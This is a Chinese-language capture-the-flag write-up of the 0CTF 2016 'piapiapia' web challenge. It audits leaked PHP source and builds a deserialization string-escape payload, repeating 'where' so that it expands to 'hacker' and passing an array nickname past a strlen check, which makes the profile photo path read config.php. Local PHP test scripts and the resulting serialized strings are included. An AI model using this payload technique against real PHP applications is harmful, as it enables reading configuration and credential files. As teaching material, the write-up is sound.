0CTF 2016 piapiapia 1
#源码泄露 #代码审计 #反序列化字符逃逸 #strlen长度过滤数组绕过
www.zip 得到源码

看到这里有flag ,猜测服务端docker的主机里,$flag变量应该存的就是我们要的flag。
于是,我们的目的就是读取·config.php
利用思路
这里存在 任意文件读取漏洞
$profile = unserialize($profile);$phone = $profile['phone'];$email = $profile['email'];$nickname = $profile['nickname'];$photo = base64_encode(file_get_contents($profile['photo']));
利用file_get_contents 读取文件
控制反序列化后的 photo
后面发现 要点不是控制photo 利用反序列化把他挤下去
追踪文件读取
大纲:
profile的值为 实例化的一个user类的对象,这个对象调用show_profile方法 处理username
其中,调用了一个父类的方法 filter 处理username ,然后在show_profile里进行sql查询,返回查询结果,这个结果最终返回到 profile.php 读取photo 部分并输出
可见,我们需要利用photo部分。
怎么用?我们就要追溯 update.php了 在那里,我们看到photo 的值是一个路径 ,在哪里 利用user的update_profile 方法
所以,我们在update.php下进行注入(数据操作)
追踪 update_profile 也 用 parent::filter 方法进行replace 然后调用父类的 parent::update 方法进行数据库交互 (数据更新)
详解: 下面是上面大纲的截取的部分详解
public function update_profile($username, $new_profile) {$username = parent::filter($username);$new_profile = parent::filter($new_profile);$where = "username = '$username'";return parent::update($this->table, 'profile', $new_profile, $where);}
利用user类的update_profile 进行filter的更新

看到在update.php 路径下 存在update对 profile 的修改
存在过滤
以下是对这段代码的逐句解释:
if(!preg_match('/^\d{11}$/', $_POST['phone']))die('Invalid phone');
- 功能:验证用户提交的手机号是否符合11位数字的格式。
- 逻辑:
preg_match('/^\d{11}$/', $_POST['phone']):使用正则表达式匹配$_POST['phone']的值。^\d{11}$:表示从字符串开头到结尾必须是恰好11位数字。\d:匹配任意数字字符(0-9)。{11}:表示前面的数字字符必须出现恰好11次。
- 如果匹配失败(即手机号不符合11位数字的格式),
preg_match返回false,!preg_match的结果为true,执行die('Invalid phone'),程序终止并输出Invalid phone。
if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))die('Invalid email');
- 功能:验证用户提交的邮箱地址是否符合简单的邮箱格式规则。
- 逻辑:
preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']):使用正则表达式匹配$_POST['email']的值。^[_a-zA-Z0-9]{1,10}:邮箱的本地部分(@前面的部分),允许1到10个字符,字符可以是字母(大小写)、数字或下划线。@:邮箱地址中的@符号。[_a-zA-Z0-9]{1,10}:邮箱的域名部分(@后面到.的部分),允许1到10个字符,字符可以是字母(大小写)、数字或下划线。\.:邮箱地址中的.符号。[_a-zA-Z0-9]{1,10}$:邮箱的顶级域名部分(.后面的部分),允许1到10个字符,字符可以是字母(大小写)、数字或下划线。
- 如果匹配失败(即邮箱格式不符合规则),
preg_match返回false,!preg_match的结果为true,执行die('Invalid email'),程序终止并输出Invalid email。
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)die('Invalid nickname');
- 功能:验证用户提交的昵称是否只包含字母、数字或下划线,并且长度不超过10个字符。
- 逻辑:
preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']):使用正则表达式检查$_POST['nickname']中是否存在非字母、非数字、非下划线的字符。[^a-zA-Z0-9_]:匹配任何不在a-z、A-Z、0-9或_范围内的字符。
strlen($_POST['nickname']) > 10:检查昵称的长度是否超过10个字符。- 如果
preg_match匹配到非法字符(返回true),或者昵称长度超过10个字符,整个条件表达式的结果为true,执行die('Invalid nickname'),程序终止并输出Invalid nickname。
总结
这段代码的作用是对用户提交的表单数据进行简单的格式验证:
- 手机号必须是11位数字。
- 邮箱地址必须符合简单的格式规则(本地部分@域名部分.顶级域名部分)。
- 昵称只能包含字母、数字或下划线,且长度不超过10个字符。
如果任何一项验证失败,程序会立即终止并输出相应的错误信息。
$file = $_FILES['photo'];if($file['size'] < 5 or $file['size'] > 1000000)die('Photo size error');
以下是对这段代码的逐句解释:
$file = $_FILES['photo'];
- 功能:获取通过HTTP POST上传的文件信息。
- 逻辑:
$_FILES['photo']是一个关联数组,包含了用户上传文件的相关信息。'photo'是表单中文件输入字段的名称,例如<input type="file" name="photo">。$file变量将存储文件的上传信息,包括临时文件名、原始文件名、文件大小、文件类型和错误信息等。
if($file['size'] < 5 or $file['size'] > 1000000)die('Photo size error');
- 功能:验证上传文件的大小是否在允许的范围内(5字节到1MB)。
- 逻辑:
$file['size']是上传文件的大小,以字节为单位。- 条件
$file['size'] < 5 or $file['size'] > 1000000检查文件大小是否小于5字节或大于1MB。 - 如果条件成立(即文件大小不在允许范围内),执行
die('Photo size error'),程序终止并输出Photo size error。
总结
这段代码的作用是验证用户上传的文件(照片)的大小是否符合要求:
- 文件大小必须在5字节到1MB之间。
- 如果文件大小不符合要求,程序会立即终止并输出错误信息
Photo size error。
注意事项
-
文件上传的安全性:
- 除了检查文件大小,还应该检查文件类型,确保只允许上传特定的文件类型(如图片)。
- 可以使用
$file['type']或者更可靠的方法(如检查文件扩展名或文件头)来验证文件类型。
-
错误处理:
- 使用
die()会直接终止脚本运行,可能不太适合用户友好的界面。可以考虑使用更友好的错误提示方式,例如将错误信息存储在变量中并重新渲染表单。
- 使用
-
文件上传的其他检查:
- 检查
$_FILES['photo']['error']是否为UPLOAD_ERR_OK,以确保文件上传过程中没有发生错误。 - 检查文件是否真的被上传(即是否是一个临时文件)。
- 检查
示例代码可以扩展为:
$file = $_FILES['photo'];// 检查文件上传是否有错误
if ($file['error'] !== UPLOAD_ERR_OK) {die('File upload error');
}// 检查文件大小
if ($file['size'] < 5 || $file['size'] > 1000000) {die('Photo size error');
}// 检查文件类型
$allowedTypes = ['image/jpeg', 'image/png', 'image/gif'];
if (!in_array($file['type'], $allowedTypes)) {die('Invalid file type');
}// 其他处理逻辑...
这样可以更全面地确保文件上传的安全性和正确性。
replace
追踪 update_profile 用 parent::filter 方法
public function filter($string) {$escape = array('\'', '\\\\');$escape = '/' . implode('|', $escape) . '/';$string = preg_replace($escape, '_', $string);$safe = array('select', 'insert', 'update', 'delete', 'where');$safe = '/' . implode('|', $safe) . '/i';return preg_replace($safe, 'hacker', $string);}public function __tostring() {return __class__;}

- ! 到这里幡然醒悟,我们利用这里对 profile 的replace 进行反序列化
看到可利用where被替换,将有一个多出来
- $ 这里肯定不能直接对photo进行修改,那就考虑nickname入口,先试着构造下
<?php
$profile['phone']='12345678901';
$profile['email']='for@example.com';
$profile['nickname']='";s:5:"photo";s:10:"config.php";}';
$profile['photo']='upload/43892f297aksddn84743894a0eiek69f';
var_dump(serialize($profile));
?>
"a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:15:"for@example.com";s:8:"nickname";s:33:"";s:5:"photo";s:10:"config.php";}";s:5:"photo";s:39:"upload/43892f297aksddn84743894a0eiek69f";}"
数组序列化与类序列化的区别
-
序列化后的格式
-
普通数组的序列化字符串以
a开头,表示数组(array)。 -
类的序列化字符串以
O开头,表示对象(object),后面跟着类名和类的属性。
-
-
反序列化后的结果
-
普通数组反序列化后是一个数组。
-
类反序列化后是一个对象,且必须在当前脚本中定义了该类,否则会抛出错误。
-
-
类的特殊行为
-
类可以定义魔术方法
__sleep()和__wakeup()来控制序列化和反序列化的过程。 -
__sleep()在序列化之前被调用,可以返回一个包含对象中应被序列化的变量名称的数组。 -
__wakeup()在反序列化之后被调用,可以用于重新初始化对象的属性。
-

超全局变量在这里实例化
我们继续:
我们要把上面那部分nickname逃逸出来
第一次过滤:
在uopdate里,存在对nickname的过滤
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)die('Invalid nickname');
正则表达式/[^a-zA-Z0-9_]/用于匹配任何不在指定字符集中的字符。下面是对该正则表达式各部分的详细解释:
[[正则匹配原则]]
正则表达式分解
-
/:正则表达式的开始和结束分界符。 -
[^...]:表示一个字符集的取反,即匹配不在方括号内的任何字符。 -
a-z:表示所有小写字母(从a到z)。 -
A-Z:表示所有大写字母(从A到Z)。 -
0-9:表示所有数字(从0到9)。 -
_:表示下划线字符。
匹配的字符
该正则表达式将匹配任何不在以下集合中的字符:
-
小写字母(
a到z) -
大写字母(
A到Z) -
数字(
0到9) -
下划线(
_)
#strlen长度过滤数组绕过 我们用数组绕过
第二次过滤:
即上面的replace
本地调试:
我们要读config.php
"a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:15:"for@example.com";s:8:"nickname";s:33:"";s:5:"photo";s:10:"config.php";}";s:5:"photo";s:11:"/config.php";}"
";s:5:“photo”;s:10:“config.php”;} 有33跟字符,所以我们需要33个·where
本地调试代码:
<?php
function filter($string){$safe = array('select', 'insert', 'update', 'delete', 'where');$safe = '/' . implode('|', $safe) . '/i';return preg_replace($safe, 'hacker', $string);
}
$profile['phone']='12345678901';
$profile['email']='for@example.com';
$profile['nickname']='wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";s:5:"photo";s:10:"config.php";}';
$profile['photo']='upload/43892f297aksddn84743894a0eiek69f';var_dump(filter(serialize($profile)));
?>
但看了wp ,还要把nickname数组化
<?php
function filter($string){$safe = array('select', 'insert', 'update', 'delete', 'where');$safe = '/' . implode('|', $safe) . '/i';return preg_replace($safe, 'hacker', $string);
}
$a=array('wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}');
$profile['phone']='12345678901';
$profile['email']='for@example.com';
$profile['nickname']=$a;
$profile['photo']='upload/43892f297aksddn84743894a0eiek69f';var_dump(filter(serialize($profile)));
"a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:15:"for@example.com";s:8:"nickname";a:1:{i:0;s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/43892f297aksddn84743894a0eiek69f";}"
多了一个 } 所以要用34个where
解题

先注册个用户

可以看到,直接进到 update.php了
上传一个图片

抓包改name为数组

访问profile
f12

得到

相关文章:
0CTF 2016 piapiapia 1
#源码泄露 #代码审计 #反序列化字符逃逸 #strlen长度过滤数组绕过 www.zip 得到源码 看到这里有flag ,猜测服务端docker的主机里,$flag变量应该存的就是我们要的flag。 于是,我们的目的就是读取config.php 利用思路 这里存在 任意文件读取…...
2、危机应对-核心成员突然退出
一、场景: 当你团队中的骨干突然退出项目,如开发主程不干了,交付经理如何应对? 二、思考: 处理核心成员退出的本质是“通过系统性的减震降低人岗绑定的风险” 三、处理方式: 1、紧急评估影响 技术影响…...
python_巨潮年报pdf下载
目录 前置: 步骤: step one: pip安装必要包,获取年报url列表 step two: 将查看url列表转换为pdf url step three: 多进程下载pdf 前置: 1 了解一些股票的基本面需要看历年年报,在巨潮一个个下载比较费时间&…...
单片机自学指南
一、单片机基础入门 单片机的概念与发展历程 常见单片机类型介绍(如 51 系列、STM32 系列等) 单片机在生活与工业中的应用实例剖析 二、硬件原理学习 单片机内部结构详解(CPU、存储器、I/O 口等) 时钟电路与复位电路原理 电…...
Netty基础—6.Netty实现RPC服务三
大纲 1.RPC的相关概念 2.RPC服务调用端动态代理实现 3.Netty客户端之RPC远程调用过程分析 4.RPC网络通信中的编码解码器 5.Netty服务端之RPC服务提供端的处理 6.RPC服务调用端实现超时功能 5.Netty服务端之RPC服务提供端的处理 (1)RPC服务提供端NettyServer (2)基于反射…...
用vue3显示websocket的状态
在上次vue3项目上增加一个标签,显示当前的连接状态,两个按钮:重新连接 和 断开连接 修改App.vue <template><header><title>ws状态测试</title></header><main><WsStatus /></main> </template>…...
python拉取大视频导入deepseek大模型解决方案
使用Python拉取大视频并导入大模型,需要综合考虑数据获取、存储、处理和资源管理,确保高效稳定地处理大视频数据,同时充分利用大模型的性能,以下是分步方案及代码示例: --- 1. 分块下载大视频(避免内存溢出…...
为什么需要使用十堰高防服务器?
十堰高防服务器的核心价值与应用必要性 一、应对复杂攻击的防御能力 T级DDoS攻击防护 十堰高防服务器搭载 T级清洗中心,支持智能流量调度与分层处理,可抵御 800Gbps-1.2Tbps 的大规模混合攻击(如SYN Flood、UDP反射ÿ…...
[特殊字符] 深度实战:Android 13 系统定制之 Recovery 模式瘦身指南
🌟 核心需求 在 Android 13 商显设备开发中,需精简 Recovery 模式的菜单选项(如Reboot to bootloader/Enter rescue),但直接修改g_menu_actions后在User 版本出现黑屏卡死问题,需综合方案解决。 ǵ…...
向量数据库技术系列四-FAISS介绍
一、前言 FAISS(Facebook AI Similarity Search)是由Facebook AI Research开发的一个开源库,主要用于高效地进行大规模相似性搜索和聚类操作。主要功能如下: 向量索引与搜索:FAISS提供了多种索引和搜索向量的方法&…...
人工智能中的线性代数基础详解
线性代数是人工智能领域的重要数学基础之一,是人工智能技术的底层数学支柱,它为数据表示、模型构建和算法优化提供了核心工具。其核心概念与算法应用贯穿数据表示、模型训练及优化全过程。更多内容可看我文章:人工智能数学基础详解与拓展-CSDN博客 一、基本介绍 …...
格雷码.
格雷码 - OI Wiki 格雷码_百度百科 简介 格雷码(Gray Code),又称为二进制格雷码或循环二进制码,是一种二进制编码方式。它得名于贝尔实验室的工程师弗兰克格雷(Frank Gray),他于1940年代提出…...
【毕业论文格式】word分页符后的标题段前间距消失
文章目录 【问题描述】 分页符之后的段落开头,明明设置了标题有段前段后间距,但是没有显示间距: 【解决办法】 选中标题,选择边框 3. 选择段前间距,1~31磅的一个数 结果...
kubernetes对于一个nginx服务的增删改查
1、创建 Nginx 服务 1.1、创建 Deployment Deployment 用于管理 Pod 副本和更新策略。 方式一:命令式创建 kubectl create deployment nginx-deployment --imagenginx:latest --replicas3 --port80--replicas3:指定副本数为 3 --port80:容…...
PackageManagerService
首语 PackageManagerService(以下简称PMS)是Android最核心的系统服务之一,它是应用程序包管理服务,管理手机上所有的应用程序,包括应用程序的安装、卸载、更新、应用信息的查询、应用程序的禁用和启用等。 职责 在Android系统启动过程中扫…...
【蓝桥杯每日一题】3.16
🏝️专栏: 【蓝桥杯备篇】 🌅主页: f狐o狸x 目录 3.9 高精度算法 一、高精度加法 题目链接: 题目描述: 解题思路: 解题代码: 二、高精度减法 题目链接: 题目描述&…...
2.7 滑动窗口专题:串联所有单词的子串
LeetCode 30. 串联所有单词的子串算法对比分析 1. 题目链接 LeetCode 30. 串联所有单词的子串 2. 题目描述 给定一个字符串 s 和一个字符串数组 words,words 中所有单词长度相同。要求找到 s 中所有起始索引,使得从该位置开始的连续子串包含 words 中所…...
电脑实用小工具--VMware常用功能简介
一、创建、编辑虚拟机 1.1 创建新的虚拟机 详见文章新创建虚拟机流程 1.2 编辑虚拟机 创建完成后,点击编辑虚拟机设置,可对虚拟机内存、处理器、硬盘等各再次进行编辑设置。 二、虚拟机开关机 2.1 打开虚拟机 虚拟机创建成功后,点击…...
为训练大模型而努力-分享2W多张卡通头像的图片
最近我一直在研究AI大模型相关的内容,想着从现在开始慢慢收集各种各样的图片,万一以后需要训练大模型的时候可以用到,或者自己以后也许会需要。于是决定慢慢收集这些图片,为未来的学习和训练大模型做一些铺垫,哈哈。 …...
从零开始学习机器人---如何高效学习机械原理
如何高效学习机械原理 1. 理解课程的核心概念2. 结合图形和模型学习3. 掌握公式和计算方法4. 理论与实践相结合5. 总结和复习6. 保持好奇心和探索精神 总结 机械原理是一门理论性和实践性都很强的课程,涉及到机械系统的运动、动力传递、机构设计等内容。快速学习机械…...
JVM 垃圾回收器的选择
一:jvm性能指标吞吐量以及用户停顿时间解释。 二:垃圾回收器的选择。 三:垃圾回收器在jvm中的配置。 四:jvm中常用的gc算法。 一:jvm性能指标吞吐量以及用户停顿时间解释。 在 JVM 调优和垃圾回收器选择中࿰…...
使用GPTQ量化Llama-3-8B大模型
使用GPTQ量化8B生成式语言模型 服务器配置:4*3090 描述:使用四张3090,分别进行单卡量化,多卡量化。并使用SGLang部署量化后的模型,使用GPTQ量化 原来的模型精度为FP16,量化为4bit 首先下载gptqmodel量化…...
2025-03-16 学习记录--C/C++-PTA 习题4-2 求幂级数展开的部分和
合抱之木,生于毫末;九层之台,起于累土;千里之行,始于足下。💪🏻 一、题目描述 ⭐️ 习题4-2 求幂级数展开的部分和 已知函数e^x可以展开为幂级数1xx^2/2!x^3/3!⋯x^k/k!⋯。现给定一个实数x&a…...
【C#】Http请求设置接收不安全的证书
在进行HTTP请求时,出现以下报错,可设置接收不安全证书跳过证书验证,建议仅测试环境设置,生产环境可能会造成系统漏洞 /// <summary> /// HttpGet请求方法 /// </summary> /// <param name"requestUrl"&…...
从PDF文件中提取数据
笔记 import pdfplumber # 打开PDF文件 with pdfplumber.open(数学公式.pdf) as pdf:for i in pdf.pages: # 遍历页print(i.extract_text()) # extract_text()方法提取内容print(f---------第{i.page_number}页结束---------)...
【k8s001】K8s架构浅析
Kubernetes 架构浅析 #mermaid-svg-irCZnQUuietSX3Ro {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-irCZnQUuietSX3Ro .error-icon{fill:#552222;}#mermaid-svg-irCZnQUuietSX3Ro .error-text{fill:#552222;stroke…...
NPU、边缘计算与算力都是什么啊?
考虑到灵活性和经济性,公司购置一台边缘计算机,正在尝试将PCGPU的计算机视觉项目转到边缘计算机NPU上。本文简单整理了三个概念,并试图将其做个概要的说明。 一、算力:数字世界的“基础能源” 1.1 算力是什么 **算力(…...
AP AR
混淆矩阵 真实值正例真实值负例预测值正例TPFP预测值负例FNTN (根据阈值预测) P精确度计算:TP/(TPFP) R召回率计算:TP/(TPFN) AP 综合考虑P R 根据不同的阈值计算出不同的PR组合, 画出PR曲线,计算曲线…...
Leetcode-1278.Palindrome Partitioning III [C++][Java]
目录 一、题目描述 二、解题思路 【C】 【Java】 Leetcode-1278.Palindrome Partitioning IIIhttps://leetcode.com/problems/palindrome-partitioning-iii/description/1278. 分割回文串 III - 力扣(LeetCode)1278. 分割回文串 III - 给你一个由小写…...
Java集合 - ArrayList
ArrayList 是 Java 集合框架中最常用的动态数组实现类,位于 java.util 包中。它基于数组实现,支持动态扩容和随机访问。 1. 特点 动态数组:ArrayList 的底层是一个数组,可以根据需要动态扩展容量。 有序:元素按照插入…...
